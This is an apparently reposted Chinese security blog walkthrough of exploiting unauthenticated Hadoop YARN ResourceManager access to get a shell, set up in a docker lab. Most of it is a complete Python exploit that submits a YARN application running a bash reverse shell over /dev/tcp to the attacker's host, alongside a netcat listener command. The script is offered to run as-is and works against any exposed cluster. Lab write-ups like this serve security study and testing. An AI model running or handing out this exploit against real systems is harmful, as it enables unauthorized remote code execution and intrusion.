Hadoop
hadoop数据库一般开在50000端口左右,用于大数据等方向。hadoop YARN是hadoop核心组件,由于配置不当,服务暴露在公网,导致未授权访问
原理
参考:http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf
测试环境
运行测试环境
docker-compose up -d
环境启动后,访问http://your-ip:8088
即可看到Hadoop YARN ResourceManager WebUI页面。
漏洞利用:
攻击机:kali-linux-2023.1(192.168.1.10)
靶机:Centos7(192.168.1.12)
开启环境后,进入192.168.1.12:8088
流程:在本地监听端口 > 创建Application > 调用Submit Application API提交
本机监听:nc -lvvp 7788
利用网上公开的exp.py进行攻击
import requests
target = 'http://192.168.1.12:8088/'
lhost = '192.168.1.10' # put your local host ip here, and listen at port 7788
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell','am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/7788 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
写好脚本后,直接python exp.py即可
此时可以看到shell已经反弹
原文始发于微信公众号(shadowsec):Hadoop YARN ResourceManager 未授权访问导致getshell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论